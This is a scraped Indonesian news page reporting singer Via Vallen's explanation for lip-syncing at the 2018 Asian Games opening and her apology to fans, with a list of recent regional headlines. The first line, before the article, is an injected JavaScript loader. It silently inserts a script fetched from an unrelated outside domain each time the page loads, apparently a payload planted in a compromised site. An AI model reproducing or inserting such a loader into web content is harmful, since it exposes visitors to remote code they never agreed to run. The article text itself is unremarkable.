(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lifestyle

Via Vallen : Demi Negara, Ya Udah Saya Ngalah


Penyanyi dangdut Via Vallen mengaku selama ini tak percaya diri bernyanyi secara lipsync. Namun, demi nama baik negara, menurut Via, ia akhirnya rela mengalah dan bersedia lipsync saat pembukaan Asian Games 2018. “Ya apa sih kalau cuma sekadar saya enggak percaya diri dibanding sama demi negara biar enggak dicemooh orang. Ya udah, saya ngalah aja,” kata Via saat ditemui di Ayana Midplaza, Jakarta Pusat, Kamis (23/8/2018) dinukil dari Kompas.com. Via menegaskan, selama ini ia selalu bernyanyi secara live pada setiap kesempatan. Jika pihak penyelenggara atau stasiun televisi meminta lipsync, Via tetap ngotot menyanyikan lagunya secara langsung.

“Saya enggak mau. Bahkan rilis singel baru pun, biasanya di televisi itu harus lipsync karena harus sesuai materi aslinya. Tanya deh sama manajemen saya kalau saya tuh emang paling enggak bisa kalau lipsync,” ujar pelantun “Sayang” itu. “Mau bagus atau jelek, saya lebih suka live apa pun itu hasilnya, ketimbang harus lipsync karena kalau lipsync itu kayak saya itu ngerasa aneh banget,” tambah Via. Bahkan, saat latihan untuk pembukaan Asian Games 2018, Via mengaku tetap berusaha membujuk penyelenggara agar dia bisa diperbolehkan untuk bernyanyi live. “Pas hari pertama latihan, saya dibilangin ini lipsync. ‘Hah?’ Aku di situ maksa, aku maunya live aja. ‘Enggak bisa, karena kan nanti ini menggema kan di stadion, pasti mantul-mantul suaranya dan bla bla’. ‘Dicoba aja dulu, aku mau nyoba’. Nyoba pun sama mereka enggak dikasih, apalagi pas waktu live,” kata Via.

Penyelenggara kemudian memberinya penjelasan lebih rinci bahwa lipsync adalah satu satu cara mereka meminimalkan kesalahan teknis. Sebab, perhelatan itu tak cuma ditonton oleh orang Indonesia, tetapi juga disaksikan publik internasional. “Yang paling masuk akal gini, ‘Jadi di sini Via kalau misalnya kamu enggak lipsync, kami kan ada petasan nih, otomatis nanti suara petasannya masuk di mic-nya, otomatis yang nonton bisa akan terganggu sama suara itu’. Ya masuk akal juga sih,” ujar Via. “Kami enggak mau menerima risiko apa pun itu, katanya gitu. ‘Karena kalau misalnya sedikit kesalahan aja, apa pun itu, yang jelek bukan cuma kamu, tapi kita membawa nama negara’,” tambahnya. Namun, keputusannya untuk mengalah itu justru membuat penggemarnya banyak yang kecewa. Karena itu, ia merasa perlu meminta maaf. “Kalau emang buat mereka itu sebuah kesalahan ya sudah. Tapi intinya saya minta maaf, karena saya sudah buat kecewa saja,” ucap Via. (kmps)

Reporter : Kmps
Editor : Bie

Desy Arfianty

Recent Posts

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

21 menit ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

25 menit ago

UMP dan UMK Kalimantan Barat 2026 Terendah se-Kalimantan, Cukup untuk Biaya Hidup?

Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More

2 jam ago

Daftar UMP 2026 Setiap Provinsi Indonesia Lengkap Beserta Kenaikannya!

Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More

2 jam ago

Pemkab Banjar Layani Keperluan Konsumsi Ribuan Warga Terdampak Banjir Lewat Dapur Umum

KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More

3 jam ago

Daftar UMP dan UMK Kalimantan Selatan 2026, Cukupkah untuk Biaya Hidup Layak?

Upah Minimum Provinsi (UMP) dan Upah Minimum Kabupaten/Kota (UMK) Kalimantan Selatan 2026 akhirnya secara resmi… Read More

15 jam ago

This website uses cookies.